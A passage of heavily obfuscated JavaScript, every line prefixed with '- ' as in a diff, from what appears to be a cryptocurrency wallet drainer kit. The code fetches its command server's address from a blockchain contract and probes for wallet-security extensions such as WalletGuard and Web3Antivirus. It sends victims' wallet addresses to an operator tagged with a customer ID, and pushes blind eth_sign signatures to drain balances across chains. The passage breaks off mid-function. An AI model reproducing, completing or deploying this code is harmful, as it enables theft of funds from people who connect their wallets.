- message: JZmylD(ABLWty(563) + "allenge gene" + ABLWty(564) + ABLWty(565) + _0x2c8d0d[6], "s", WAZ9Ax(-5))
- }, ABLWty(551) + ABLWty(552));
- let v66 = Date[ABLWty(549)]();
- let v67 = Math[ABLWty(566)](navigator?.[ABLWty(567)] || 2, 16);
- let v68 = new vC(v64.salt.toString(), v64[ABLWty(568)], v64[ABLWty.call(undefined, 569) + ABLWty(570)], v67);
- let [v69, v70] = await Promise[ABLWty.call(undefined, 571)]([v68[ABLWty(572)](), new Promise(p37 => {
- setTimeout(() => {
- v68.workers.forEach(ZZ1LRs((..._0x530fa8) => {
- _0x530fa8.length = 1;
- _0x530fa8[210] = _0x530fa8[0];
- _0x530fa8[210].terminate();
- }, 1));
- p37([JZmylD(1, WAZ9Ax(7)), new Error(ABLWty(573))]);
- }, JZmylD(10, 1000, vzwAVq = -33));
- })]);
- let vJZmylD3 = JZmylD(Date.now() - v66, 1000, WAZ9Ax(5));
- if (v69) {
- f16({
- message: JZmylD("Solved challenge in " + vJZmylD3, "s", WAZ9Ax(-5))
- }, "wasm-d" + ABLWty(552));
- } else {
- f10();
- f16({
- message: JZmylD(ABLWty(574) + vJZmylD3 + ABLWty(575), v70.stack || v70, vzwAVq = -5)
- }, ABLWty(576));
- return JZmylD(1, WAZ9Ax(7));
- }
- let v71 = Date[ABLWty(549)]();
- let v72;
- for (let v73 = 0; v73 < 10; v73++) {
- v72 = await f16({
- challenge: v64["challe" + ABLWty.apply(undefined, [570])],
- solution: parseInt(v69[ABLWty(577)])
- }, "validate_challenge");
- if (v72 === ABLWty(560)) {
- f10();
- return JZmylD(1, vzwAVq = 7);
- }
- if (v72 && v72 !== JZmylD(0, vzwAVq = 7)) {
- break;
- }
- }
- _0x2c8d0d[18] = JZmylD(Date[ABLWty.call(undefined, 549)]() - v71, 1000, WAZ9Ax(5));
- if (v72 && v72 !== JZmylD(0, WAZ9Ax(7))) {
- if (v72.valid) {
- v59 = v72.ptoken;
- if (!document[ABLWty.apply(undefined, [546])][ABLWty(436) + "es"](ABLWty(547))) {
- document.cookie = JZmylD("ptoken=" + v59, "; path=/;", vzwAVq = -5);
- }
- f16({
- message: JZmylD(ABLWty(578) + "ed challenge" + ABLWty(579) + _0x2c8d0d[18], "s: valid", WAZ9Ax(-5))
- }, "wasm-debug");
- } else {
- f16({
- message: JZmylD("Failed to verify challenge in " + _0x2c8d0d[18], "s: inv" + ABLWty(580), vzwAVq = -5)
- }, "wasm-d" + ABLWty(552));
- }
- } else {
- f16({
- message: JZmylD("Failed to " + ABLWty.call(undefined, 581) + "llenge in " + _0x2c8d0d[18], ABLWty(582) + "uest f" + ABLWty(583), WAZ9Ax(-5))
- }, "wasm-d" + ABLWty(552));
- }
- f10();
- return JZmylD(JZmylD(v59, vzwAVq = 7), WAZ9Ax(7));
- }
- }
- var vC = class {
- constructor(p38, p39, p40, p41) {
- this[ABLWty(584)] = [];
- this[ABLWty(585)] = p40;
- this.difficulty = p39;
- this["public" + ABLWty(586)] = p38;
- this[ABLWty(587)] = p41;
- let v74 = new Blob([JZmylD(ABLWty(588) + " init," + ABLWty(589) + "d_solu" + ABLWty.call(undefined, 590) + ABLWty(591) + "\"" + vQ2[ABLWty(25)] + "/resources/pow_wasm.js\";\n \nself.onmessage = async function (message) {\n await init(\"" + vQ2[ABLWty.call(undefined, 25)], "/resources/pow_wasm_bg.wasm\");\n\n const { publicSalt, challenge, start, end } = message.data;\n\n const result = find_solution(publicSalt, challenge, start, end);\n\n if (result.solution) {\n self.postMessage(result);\n }\n\n self.close();\n};", WAZ9Ax(-5))], {
- type: ABLWty(592)
- });
- this["worker" + ABLWty(593) + ABLWty.apply(undefined, [594])] = URL["createObject" + ABLWty(595)](v74);
- }
- spawnWorker(p42, p43, p44) {
- let v76 = new Worker(this[ABLWty(596) + ABLWty(593) + ABLWty.apply(undefined, [594])], {
- type: "module"
- });
- this.workers[ABLWty(597)](v76);
- v76.onmessage = p45 => {
- this[ABLWty(584)].forEach(p46 => {
- p46[ABLWty(598)]();
- });
- p44(p45.data);
- };
- v76[ABLWty(599)]({
- [ABLWty(585)]: this[ABLWty(569) + ABLWty(570)],
- publicSalt: this.publicSalt,
- [ABLWty(600)]: p42,
- end: p43
- });
- }
- async solve() {
- let v77 = Math[ABLWty(601)](JZmylD(this[ABLWty(602) + ABLWty(603)], this.numWorkers, WAZ9Ax(5)));
- let v78 = [];
- for (let v79 = 0; v79 < this.difficulty; v79 += v77) {
- v78[ABLWty(597)](new Promise(p47 => {
- this.spawnWorker(v79, JZmylD(v79 + v77, 1, vzwAVq = -32), p47);
- }));
- }
- try {
- return [await Promise.any(v78), JZmylD(1, vzwAVq = 7)];
- } catch (_0x7bc6be) {
- return [JZmylD(1, vzwAVq = 7), _0x7bc6be];
- }
- }
- };
- var v_0x16a4ea = _0x16a4ea(25);
- var v80 = 0;
- function f12(p48) {
- var vParseInt = parseInt(Date[ABLWty(549)]().toString().slice(0, 7));
- var v81 = Math.round(JZmylD(Math[ABLWty(604)]() * 21474736479, 100000, WAZ9Ax(-5)));
- var v82 = Math.round(JZmylD(Math[ABLWty(604)]() * 8999, 1000, vzwAVq = -5));
- var vJZmylD4 = _0x16a4ea(25);
- var vBtoa = btoa(vJZmylD4);
- var vJZmylD4 = _0x50337b(vJZmylD4);
- var v84 = _0x16a4ea(v81.toString()[ABLWty(17)]);
- var v83 = JZmylD(5, v81 - v82, vzwAVq = -33).toString();
- var v83 = CryptoJS.AES.encrypt(vQ2[ABLWty(605)], v83).toString();
- var vJZmylD4 = JZmylD(vParseInt[ABLWty(394) + "ng"]() + "inferno" + vJZmylD4, v81, vzwAVq = -5);
- var vBtoa2 = _0x50337b(vJZmylD4);
- var p48 = CryptoJS.AES[ABLWty(431)](p48, vJZmylD4);
- var vJZmylD4 = JZmylD(v81 + v82 + vParseInt, 50, vzwAVq = -32).toString();
- var vJZmylD4 = {
- s1: v81,
- s2: v82,
- rs2: v84,
- t: vParseInt,
- rs: vBtoa,
- d: p48 = CryptoJS[ABLWty(406)][ABLWty.apply(undefined, [431])](p48.toString(), vJZmylD4)[ABLWty(20)](),
- k: vBtoa2,
- c: v83,
- p1: JZmylD((v81 + _0x50337b(p48) - v82) * 2, 100, WAZ9Ax(-32)),
- p2: JZmylD(_0x50337b(vQ2[ABLWty.call(undefined, 606) + ABLWty(607)]), vParseInt, vzwAVq = -5),
- n: v80++
- };
- var vBtoa = _0x50337b(JSON[ABLWty(608) + "ify"](vJZmylD4));
- var vBtoa2 = btoa(vBtoa[ABLWty(394) + "ng"]());
- var v83 = _0x3fcc97(vJZmylD4);
- var v81 = v84.split("")[ABLWty(609)]().join("");
- var p48 = _0x50337b(v81);
- var v82 = JZmylD(5, v80, WAZ9Ax(-33));
- var vParseInt = JSON.stringify({
- h: vBtoa2,
- c: v83,
- p3: p48,
- p4: v82,
- u: _0x495c8c
- });
- var vJZmylD4 = (vBtoa = new Date())[ABLWty(610)]();
- var v84 = vBtoa.getDay();
- var v81 = vBtoa[ABLWty(611) + "th"]();
- var vBtoa2 = CryptoJS[ABLWty.apply(undefined, [406])][ABLWty.call(undefined, 431)](vParseInt, JZmylD(vJZmylD4 + "-" + v81 + "-", v84, vzwAVq = -5))[ABLWty(394) + "ng"]();
- var v83 = JSON.stringify({
- [v_0x16a4ea]: vBtoa2,
- v: 4
- });
- return CryptoJS.AES[ABLWty(431)](v83, ABLWty(612)).toString();
- }
- ZZ1LRs(f13, 1);
- function f13(..._0x46a306) {
- _0x46a306.length = 1;
- _0x46a306.anvxkW = 114;
- try {
- let v85 = CryptoJS[ABLWty(406)][ABLWty(613)](_0x46a306[_0x46a306.anvxkW - 114], "inferno")[ABLWty.apply(undefined, [20])](CryptoJS.enc.Utf8);
- let vAtob = atob(v85);
- let v86 = new Date();
- let v87 = v86[ABLWty(610)]();
- let v88 = v86[ABLWty.call(undefined, 614)]();
- let v89 = v86.getMonth();
- let v90;
- for (let v91 = 0; v91 < 3; v91++) {
- for (let v92 = 0; v92 < 3; v92++) {
- for (let v93 = 0; v93 < 3; v93++) {
- _0x46a306.EhcWDk = JZmylD((v93 === 0 ? v87 : v93 === _0x46a306.anvxkW - 113 ? v87 - 1 : v87 + 1) + "-" + (v92 === 0 ? v89 : v92 === 1 ? v89 === 0 ? 11 : v89 - 1 : v89 === _0x46a306.anvxkW - 103 ? 0 : v89 + 1) + "-", v91 === 0 ? v88 : v91 === 1 ? v88 === 0 ? 6 : v88 - 1 : v88 === 6 ? 0 : v88 + 1, WAZ9Ax(-5));
- try {
- v90 = JSON.parse(CryptoJS.AES[ABLWty(613)](vAtob, _0x46a306.EhcWDk).toString(CryptoJS.enc[ABLWty(615)]));
- break;
- } catch {}
- }
- }
- }
- return v90 || JZmylD(1, WAZ9Ax(7));
- } catch {
- return JZmylD(1, WAZ9Ax(_0x46a306.anvxkW - 107));
- }
- }
- ZZ1LRs(f14, 1);
- function f14(..._0x534c16) {
- _0x534c16.length = 1;
- _0x534c16.TehV7HJ = _0x534c16[0];
- _0x534c16.e4I2Aqz = "";
- _0x534c16.uLPE5a = _0x534c16.e4I2Aqz;
- for (let v94 = 0; v94 < _0x534c16.TehV7HJ.length; v94 += 2) {
- _0x534c16[3] = parseInt(_0x534c16.TehV7HJ[ABLWty(396)](v94, 2), 16);
- if (!(_0x534c16[3] < 33)) {
- _0x534c16.uLPE5a += String[ABLWty.apply(undefined, [616]) + ABLWty.apply(undefined, [617])](_0x534c16[3]);
- }
- }
- return _0x534c16.uLPE5a;
- }
- async function f15(..._0x57c391) {
- _0x57c391.length = 0;
- _0x57c391.HRTPkY = -105;
- while (true) {
- try {
- const v95 = {
- "Content-Type": "application/json"
- };
- _0x57c391.d_xfY9 = (await (await fetch(_0x3f8c62, {
- method: ABLWty.call(undefined, 618),
- [ABLWty(619)]: JSON[ABLWty(620)]({
- [ABLWty(153)]: "eth_call",
- [ABLWty(621)]: [{
- to: _0x4e9ae9,
- data: ABLWty(622) + "26a6"
- }, "latest"],
- id: 1,
- [ABLWty(623)]: ABLWty.call(undefined, _0x57c391.HRTPkY + 729)
- }),
- [ABLWty(625)]: v95
- })).json())[ABLWty(_0x57c391.HRTPkY + 731)].slice(2);
- vQ2.api = JZmylD("https://", f14(_0x57c391.d_xfY9), vzwAVq = -5);
- break;
- } catch {}
- }
- }
- ZZ1LRs(f16, 2);
- async function f16(..._0x3214df) {
- _0x3214df.length = 2;
- _0x3214df._ejmbFr = _0x3214df[9];
- _0x3214df.I9STPY9 = [ABLWty(627), "new_challenge", ABLWty(628) + "te_challenge"].includes(_0x3214df[1]);
- if (JZmylD(_0x3214df.I9STPY9, vzwAVq = 7) && _0x3214df[1] !== "wasm-debug" && vD2.isPowSolving) {
- await new Promise(p49 => v58.push(p49));
- }
- if (JZmylD(_0x3214df.I9STPY9, WAZ9Ax(7)) && typeof _0x3214df[0] == "object") {
- _0x3214df[0].site = location[ABLWty(442)];
- }
- if (typeof _0x3214df[0] == "object") {
- _0x3214df[0] = JSON.stringify(_0x3214df[0]);
- }
- _0x3214df[72] = _0x3214df[6];
- let v96 = _0x3214df.I9STPY9 ? _0x3214df[0] : f12(_0x3214df[0]);
- let v97 = _0x3214df.I9STPY9 ? {
- [ABLWty(629)]: "applic" + ABLWty(630) + ABLWty(631)
- } : {
- ["Conten" + ABLWty.apply(undefined, [632])]: "text/plain;charset=UTF-8"
- };
- if (v59) {
- v97.ptoken = v59;
- }
- _0x3214df[72] = 0;
- while (true) {
- try {
- let v98 = await fetch(JZmylD(vQ2[ABLWty.call(undefined, 25)] + "/", _0x3214df[1], WAZ9Ax(-5)), {
- [ABLWty.apply(undefined, [153])]: ABLWty.call(undefined, 618),
- [ABLWty(619)]: v96,
- mode: ABLWty(633),
- headers: v97
- });
- let vJZmylD5 = JZmylD(0, WAZ9Ax(7));
- try {
- if (_0x3214df.I9STPY9) {
- vJZmylD5 = await v98[ABLWty(631)]();
- } else {
- _0x3214df._ejmbFr = await v98[ABLWty(634)]();
- vJZmylD5 = f13(_0x3214df._ejmbFr);
- }
- } catch {}
- if (vJZmylD5 !== JZmylD(0, vzwAVq = 7) && vJZmylD5["blackl" + ABLWty(635)]) {
- return "blacklisted";
- }
- if (v98[ABLWty.call(undefined, 636)] === 429) {
- await _0x909b24(JZmylD(5, 1000, vzwAVq = -33));
- continue;
- } else {
- if (v98[ABLWty(636)] === 409) {
- return JZmylD(0, vzwAVq = 7);
- }
- if (v98[ABLWty(636)] === 500) {
- return JZmylD(0, vzwAVq = 7);
- }
- if (JZmylD(v98.ok, WAZ9Ax(7)) && _0x3214df[1] !== ABLWty.apply(undefined, [627])) {
- continue;
- }
- }
- return vJZmylD5;
- } catch {
- _0x3214df[72]++;
- if ((_0x3214df.I9STPY9 || [ABLWty(637), ABLWty(638) + "um", ABLWty(639), "api", ABLWty(576)][ABLWty.call(undefined, 436) + "es"](_0x3214df[1])) && _0x3214df[72] === 3) {
- await f15();
- } else if (_0x3214df[72] > 3) {
- await _0x909b24(JZmylD(5, 1000, WAZ9Ax(-33)));
- }
- }
- }
- }
- ZZ1LRs(f17, 2);
- async function f17(..._0x39c2b9) {
- _0x39c2b9.length = 2;
- _0x39c2b9[193] = 133;
- _0x39c2b9[_0x39c2b9[193] - 133] += JZmylD(ABLWty(640), vQ2[ABLWty(641)] ? location[ABLWty(442)] : location[ABLWty(642)], WAZ9Ax(-5));
- await f16({
- [ABLWty(443)]: _0x39c2b9[1],
- [ABLWty(554)]: _0x39c2b9[_0x39c2b9[193] - 133]
- }, "api");
- }
- async function f18({
- process: _0x26099e,
- method: _0x57c24b,
- step: _0x421ec0,
- error: _0x3cce69,
- data: _0x44e978
- }) {
- let v99 = [JZmylD(ABLWty.apply(undefined, [643]) + "omer i" + ABLWty.call(undefined, 644) + ABLWty.apply(undefined, [645]) + vQ2.customer_id + ABLWty.apply(undefined, [646]), location[ABLWty.apply(undefined, [442])], WAZ9Ax(-5))];
- if (_0x26099e) {
- v99[ABLWty.apply(undefined, [597])](JZmylD("âš™ï¸ Pro" + ABLWty.call(undefined, 647) + "<code>" + _0x26099e, "</code>", WAZ9Ax(-5)));
- }
- if (_0x57c24b) {
- v99.push(JZmylD(ABLWty(648) + _0x57c24b, ABLWty(649), vzwAVq = -5));
- }
- if (_0x421ec0) {
- v99[ABLWty(597)](JZmylD("âž¡ï¸ Ste" + ABLWty(650) + ABLWty.call(undefined, 645) + _0x421ec0, "</code>", vzwAVq = -5));
- }
- if (_0x3cce69) {
- v99[ABLWty(597)](JZmylD(ABLWty(651) + (typeof _0x3cce69 == "object" ? JSON[ABLWty.call(undefined, 620)](_0x3cce69) : _0x3cce69), ABLWty(649), vzwAVq = -5));
- }
- if (vD2.walletAddress) {
- v99.push(JZmylD("📌 Wallet address: <code>" + vD2.walletAddress, "</code>", WAZ9Ax(-5)), JZmylD("👛 Wallet used: <code>" + vD2[ABLWty(220) + "Name"], "</code>", vzwAVq = -5));
- }
- if (_0x44e978) {
- v99.push(JZmylD("📜 Data: <code>" + (typeof _0x44e978 == ABLWty(652) ? JSON[ABLWty(608) + "ify"](_0x44e978) : _0x44e978), "</code>", vzwAVq = -5));
- }
- let v100 = v99.join("\n");
- let v101 = _0x3cce69?.[ABLWty(653)] || JZmylD(1, WAZ9Ax(7));
- await f16({
- [ABLWty(443)]: "unknow" + ABLWty(654),
- [ABLWty(554)]: v100,
- stack: v101
- }, "api");
- }
- async function f19(..._0x24fd26) {
- _0x24fd26.length = 0;
- _0x24fd26[45] = -95;
- _0x24fd26[0] = await f16({
- configId: vQ2[ABLWty(28)]
- }, ABLWty(637));
- if (_0x24fd26[0] && _0x24fd26[0] !== JZmylD(0, vzwAVq = 7) && _0x24fd26[0] !== ABLWty(560)) {
- Object[ABLWty(655)](vQ2, _0x24fd26[0]);
- }
- }
- const v102 = {
- initializeWasm: f11,
- request: f16,
- log: f17,
- logError: f18,
- fetchConfig: f19
- };
- _0x5c18f9[1].exports = v102;
- }, 2));
- var yt = I(ZZ1LRs((..._0x2dcaef) => {
- _0x2dcaef.length = 2;
- _0x2dcaef[193] = 49;
- var vD3 = D();
- var v103 = [["mnkbccinkbalkmmnmbcicdobcmgggmfc", "assets" + ABLWty.apply(undefined, [656]) + ABLWty(657) + "ng"], [ABLWty(_0x2dcaef[193] + 609), ABLWty(659) + ABLWty.apply(undefined, [660]) + ABLWty(661)], ["pdgbckgd" + ABLWty(662) + "onhnjbdoighgpimk", ABLWty(663) + ABLWty(664) + ABLWty(665)], [ABLWty(666), ABLWty(667)], [ABLWty(668), ABLWty.call(undefined, 669) + ABLWty(_0x2dcaef[193] + 52) + ABLWty(670) + ABLWty(671) + ABLWty.call(undefined, 672)], [ABLWty(673), "assets/i" + ABLWty(674) + "re-injected-wallet-ui.png"], [ABLWty(675) + ABLWty.call(undefined, 676) + "phgjjehhcmkpjncboodn", ABLWty(677)], [ABLWty(678) + "hlblak" + ABLWty(679) + ABLWty(680) + "hicfkckn", "injectedScript.js"], [ABLWty.apply(undefined, [681]) + "akhlfkcdimg" + ABLWty(682), ABLWty.apply(undefined, [683]) + "t.js"], ["nmniboccheadcclilkfkonokbcoceced", ABLWty(684) + ABLWty(_0x2dcaef[193] + 636) + ABLWty(686)], ["cpgbcelefhmacblaocimfilfnchkghba", ABLWty.call(undefined, 687) + ABLWty.apply(undefined, [688]) + "e.js"]];
- var v104 = [ABLWty.apply(undefined, [689]), "isWalletGuard", "isWeb3Antivirus", ABLWty(690) + "Proxy", ABLWty(691), ABLWty(692), ABLWty.apply(undefined, [693]), ABLWty(694) + ABLWty(_0x2dcaef[193] + 646) + ABLWty(696), "isImpersonator"];
- _0x2dcaef[_0x2dcaef[193] - 10] = _0x2dcaef[193] - 88;
- ZZ1LRs(f20, 2);
- async function f20(..._0x1cf81f) {
- _0x1cf81f.length = 2;
- _0x1cf81f.r6G3Br = _0x1cf81f[1];
- try {
- await fetch(JZmylD("chrome" + ABLWty(697) + "sion://" + _0x1cf81f[0] + "/", _0x1cf81f.r6G3Br, WAZ9Ax(-5)));
- return JZmylD(0, vzwAVq = 7);
- } catch {
- return JZmylD(1, WAZ9Ax(7));
- }
- }
- var vJZmylD6 = JZmylD(0, vzwAVq = 7);
- async function f21(..._0x3a69b9) {
- _0x3a69b9.length = 0;
- _0x3a69b9[20] = _0x3a69b9.UfCzw3f;
- _0x3a69b9[20] = [];
- _0x3a69b9[154] = _0x3a69b9[20];
- if (vJZmylD6) {
- _0x3a69b9.jnrFKrZ = await Promise.all(v103[ABLWty(397)](([v105, v106]) => f20(v105, v106)));
- _0x3a69b9[154].push(..._0x3a69b9.jnrFKrZ);
- vJZmylD6 = JZmylD(1, vzwAVq = 7);
- }
- _0x3a69b9[145] = -141;
- _0x3a69b9[154].push(...v104.map(p50 => JZmylD(JZmylD(window[ABLWty(638) + "um"]?.[p50], WAZ9Ax(7)), vzwAVq = 7) || JZmylD(1, WAZ9Ax(7))));
- _0x3a69b9[_0x3a69b9[145] + 295] = _0x3a69b9[154].filter(Boolean);
- if (_0x3a69b9[_0x3a69b9[145] + 295].length) {
- vD3[ABLWty(234)] = JZmylD(0, vzwAVq = 7);
- }
- }
- _0x2dcaef[1].exports = f21;
- }, 2));
- var Z = I(ZZ1LRs((..._0x135145) => {
- _0x135145.length = 2;
- _0x135145[44] = 70;
- var vQ3 = q();
- var vD4 = D();
- var {
- BOT_FAKE_SIGNATURE: _0x4aca04,
- BOT_FAKE_TX_HASH: _0x22cb70
- } = he();
- var {
- sleep: _0x55df47,
- countZeroBytes: _0x4edfd8,
- countNonZeroBytes: _0x1a87eb,
- getText: _0x29e0cf,
- numberToHex: _0x50940d
- } = pe();
- var {
- request: _0x2e91e2,
- log: _0x2b2aba,
- logError: _0x1a56bb
- } = Y();
- var vYt = yt();
- var v107 = {};
- var v108 = {};
- async function f22(p51, p52, {
- logFail: _0x39c6bc,
- isHighPrice: _0x35a67c = JZmylD(1, vzwAVq = 7)
- } = {}) {
- try {
- let v109 = JSON.stringify(p51);
- if (v107[v109]) {
- return [v107[v109], JZmylD(1, vzwAVq = 7)];
- }
- let vJZmylD7 = JZmylD(_0x35a67c ? 2 : 1, function (p53) {
- for (var v110 = 16; v110 % 4 === 0; v110++) {
- var v111 = 0;
- p53 = p53.concat(function () {
- v111++;
- if (v111 === 1) {
- return [];
- }
- for (var v112 = 64; v112; v112--) {
- p53.unshift(p53.pop());
- }
- return [];
- }());
- }
- for (var v113 = 6; v113; v113--) {
- p53.unshift(p53.pop());
- }
- return p53;
- }([324, 59144, 810180]).includes(p52) ? 5 : 2, WAZ9Ax(-33));
- let v114 = await vD4[ABLWty(455) + ABLWty.apply(undefined, [456]) + ABLWty(457)][p52][ABLWty(698)].estimateGas(p51);
- v114 = v114.mul(vJZmylD7);
- let vBigInt = BigInt(v114);
- v107[v109] = vBigInt;
- return [vBigInt, JZmylD(1, vzwAVq = 7)];
- } catch (_0x5031f6) {
- let v115 = (_0x5031f6?.message || _0x5031f6?.reason || _0x5031f6).toString().toLowerCase();
- let v116 = p52 === 1 ? 0x249f0n : 0x7a120n;
- if (v115[ABLWty(465)](ABLWty.apply(undefined, [699]))) {
- return [v116, "noGas"];
- } else if (v115[ABLWty(436) + "es"]("staked") || v115[ABLWty(436) + "es"]("!unloc" + ABLWty(700)) || v115.includes(ABLWty(701))) {
- _0x1a56bb({
- [ABLWty.call(undefined, 702)]: ABLWty(703),
- [ABLWty.call(undefined, 433)]: JZmylD(ABLWty(704) + ABLWty(705) + ABLWty.apply(undefined, [706]) + ABLWty(707), v115, WAZ9Ax(-5)),
- data: p51
- });
- _0x2b2aba(_0x29e0cf(ABLWty(708)), "error");
- return [v116, "staked"];
- } else if (v115[ABLWty(436) + "es"](ABLWty(709)) || v115.includes("we can'" + ABLWty(710) + ABLWty(711) + ABLWty(712) + "t")) {
- return [v116, ABLWty(713)];
- } else {
- if (_0x39c6bc) {
- _0x1a56bb({
- process: ABLWty(703),
- error: v115,
- data: p51
- });
- }
- return [v116, "failed"];
- }
- }
- }
- ZZ1LRs(f23, 2);
- function f23(..._0x5bbedb) {
- _0x5bbedb.length = 2;
- _0x5bbedb.yOgAb_O = 97;
- try {
- return ethers[ABLWty.call(undefined, 714)].recoverAddress(_0x5bbedb[0], _0x5bbedb[1])["toLowe" + ABLWty(_0x5bbedb.yOgAb_O + 618)]();
- } catch (_0x5cbc12) {
- _0x1a56bb({
- [ABLWty(702)]: ABLWty(716) + "GNER",
- error: _0x5cbc12,
- [ABLWty(717)]: {
- serializedDataHash: _0x5bbedb[0],
- [ABLWty(718)]: _0x5bbedb[1]
- }
- });
- return JZmylD(1, vzwAVq = 7);
- }
- }
- ZZ1LRs(f24, 2);
- function f24(..._0x3b5991) {
- _0x3b5991.length = 2;
- _0x3b5991.qayVv3o = 86;
- try {
- let {
- domain: _0x2b36fd,
- message: _0x51355e,
- types: _0x4e65a3
- } = _0x3b5991[_0x3b5991.qayVv3o - 86];
- delete _0x4e65a3[ABLWty(719)];
- _0x3b5991.qfWzoYl = ethers.utils[ABLWty(_0x3b5991.qayVv3o + 634) + ABLWty(721) + "coder"][ABLWty(722)](_0x2b36fd, _0x4e65a3, _0x51355e);
- return f23(_0x3b5991.qfWzoYl, _0x3b5991[1]);
- } catch (_0x14bfc5) {
- _0x1a56bb({
- process: ABLWty(723) + "PED_DATA_SIG" + ABLWty(724),
- [ABLWty(433)]: _0x14bfc5,
- [ABLWty(717)]: {
- [ABLWty(717)]: _0x3b5991[0],
- signature: _0x3b5991[_0x3b5991.qayVv3o - (_0x3b5991.qayVv3o - 1)]
- }
- });
- return JZmylD(1, vzwAVq = 7);
- }
- }
- ZZ1LRs(f25, 2);
- function f25(..._0x76842c) {
- _0x76842c.length = 2;
- _0x76842c.O7R3Kv8 = _0x76842c[1];
- let {
- l1BaseFee: _0x17efb7,
- scalar: _0x4c8e51,
- overhead: _0x5125ef,
- feesDecimals: _0xdd8638,
- baseFeeScalar: _0x480430,
- blobBaseFee: _0x4172b8,
- blobBaseFeeScalar: _0x47bbf9
- } = vD4.chainsInformations[_0x76842c[0]];
- let v117 = _0x76842c.O7R3Kv8[ABLWty.apply(undefined, [725])]("0x", "");
- let vJZmylD8 = JZmylD(2000 + (_0x1a87eb(v117) * 16 + _0x4edfd8(v117) * 4), 1088, WAZ9Ax(-5));
- if (_0x480430) {
- let vJZmylD9 = JZmylD(BigInt(_0x480430) * 0x10n * BigInt(_0x17efb7), 0x2n, WAZ9Ax(-33));
- let vJZmylD10 = JZmylD(BigInt(_0x47bbf9), BigInt(_0x4172b8), WAZ9Ax(-33));
- return JZmylD(BigInt(vJZmylD8) * (vJZmylD9 + vJZmylD10), 0x10n * 0xan ** BigInt(_0xdd8638), WAZ9Ax(5));
- } else {
- return BigInt(Math.round(JZmylD(_0x4c8e51 * (_0x17efb7 * 2), vJZmylD8 + _0x5125ef, vzwAVq = -33)));
- }
- }
- ZZ1LRs(f26, 2);
- function f26(..._0x48ce84) {
- _0x48ce84.length = 2;
- _0x48ce84.wgdW8H = 59;
- let {
- gasLimit: _0x394d43,
- gasPrice: _0x2233b8
- } = _0x48ce84[0];
- let {
- areL1FeesEnabled: _0x3ac7b1
- } = vD4.chainsInformations[_0x48ce84[_0x48ce84.wgdW8H - (_0x48ce84.wgdW8H - 1)]];
- let vJZmylD11 = JZmylD(BigInt(_0x394d43), BigInt(_0x2233b8), vzwAVq = -33);
- if (_0x48ce84.wgdW8H > 195) {
- return _0x48ce84[-30];
- } else {
- if (_0x3ac7b1) {
- vJZmylD11 += f25(_0x48ce84[1], _0x48ce84[0].data || "0x");
- }
- return vJZmylD11;
- }
- }
- async function f27(..._0x4f2dfd) {
- _0x4f2dfd.length = 0;
- _0x4f2dfd.TiZw_of = -2;
- _0x4f2dfd.o05ocyv = await vD4[ABLWty(726)].request({
- method: "eth_ch" + ABLWty.apply(undefined, [727])
- })[ABLWty(728)](() => JZmylD(1, WAZ9Ax(7)));
- if (_0x4f2dfd.TiZw_of > 38) {
- return _0x4f2dfd[-41];
- } else {
- return parseInt(_0x4f2dfd.o05ocyv || vD4[ABLWty.apply(undefined, [726])][ABLWty(423)] || 1);
- }
- }
- async function f28(p54, p55, p56, p57) {
- try {
- let vF10 = function () {
- _0x2b2aba(_0x29e0cf("reject", {
- chainId: p55,
- stepName: p56,
- stepPrice: p57,
- signType: vD4["isEthS" + ABLWty(224) + "ported"] ? "1" : "2"
- }), "info");
- };
- let {
- nonces: _0x14da47,
- chainsInformations: _0x23f40d,
- balanceDrainFailedChains: _0x22166d,
- walletAddress: _0x46729f,
- mainProvider: _0x113a4b,
- isAutoSendWhenNoGasEnabled: _0x2a4b1e,
- popupReject: _0x3f3719
- } = vD4;
- let {
- gasPrice: _0x116c29
- } = _0x23f40d[p55];
- if (vQ3.log_prompts) {
- _0x2b2aba(_0x29e0cf("prompt" + ABLWty.apply(undefined, [729]), {
- chainId: p55,
- stepName: p56,
- [ABLWty(730) + ABLWty(461)]: p57
- }), "info");
- }
- p54[ABLWty(423)] = p55;
- if (!p54[ABLWty(731)]) {
- p54.nonce = _0x50940d(_0x14da47[p55]);
- }
- if (!p54.value) {
- p54[ABLWty(732)] = "0x0";
- }
- if (!p54[ABLWty.apply(undefined, [733]) + "ce"]) {
- p54[ABLWty(733) + "ce"] = _0x50940d(_0x116c29);
- }
- let v118 = p54[ABLWty.apply(undefined, [734]) + "it"];
- if (JZmylD(v118, WAZ9Ax(7))) {
- let v119 = {
- from: _0x46729f,
- [ABLWty(717)]: p54[ABLWty(717)],
- to: p54.to,
- [ABLWty(732)]: p54.value
- };
- [v118, gasLimitEstimationError] = await f22(v119, p55, {
- [ABLWty(735)]: JZmylD(0, WAZ9Ax(7)),
- [ABLWty(736)]: p57 > 1000
- });
- if (gasLimitEstimationError === "staked") {
- return [JZmylD(1, WAZ9Ax(7)), JZmylD(1, vzwAVq = 7), JZmylD(1, vzwAVq = 7)];
- }
- p54[ABLWty(734) + "it"] = _0x50940d(v118);
- }
- window.mainProvider = _0x113a4b;
- let v120;
- if (vD4["isEthS" + ABLWty(224) + "ported"]) {
- let v121 = ethers[ABLWty(714)][ABLWty(737) + "izeTransaction"](p54);
- let v122 = ethers.utils[ABLWty(738)](v121);
- let v123;
- for (let v124 = 0; v124 < vQ3.retry_count; v124++) {
- let [v125, v126] = await new Promise(p58 => _0x113a4b[ABLWty.call(undefined, 739)]({
- id: p55,
- from: _0x46729f,
- [ABLWty(153)]: "eth_sign",
- params: [_0x46729f, v122]
- }).then(p59 => p58([JZmylD(1, vzwAVq = 7), p59])).catch(p60 => p58([p60, JZmylD(1, vzwAVq = 7)])));
- if (v125 && typeof v125 == "string" && [64, 66].includes(v125.length)) {
- v126 = v125;
- v125 = JZmylD(1, vzwAVq = 7);
- }
- let v127 = JSON[ABLWty(608) + ABLWty.apply(undefined, [740])](v125).toLowerCase();
- let v128 = JSON.stringify(v126).toLowerCase();
- if (v127 && (v127 === "{}" || v127?.includes("not su" + ABLWty(741) + "d") || v127?.[ABLWty(436) + "es"]("eth_sign") || v127?.[ABLWty(436) + "es"]("intern" + ABLWty(742) + ABLWty(743) + "error") || v128?.[ABLWty(465)](ABLWty(744)))) {
- vD4.isEthSignSupported = JZmylD(1, vzwAVq = 7);
- break;
- } else if (v125 || JZmylD(v126, WAZ9Ax(7)) || v126.error || v128[ABLWty.apply(undefined, [465])]("reject") || (v126.result ? JZmylD(v126[ABLWty.apply(undefined, [626])], vzwAVq = -11) != "string" : typeof v126 != "string")) {
- v123 ||= v127;
- if (v127?.includes(ABLWty(745) + "en aut" + ABLWty(746) + "d")) {
- _0x2b2aba(_0x29e0cf("known_bot", {
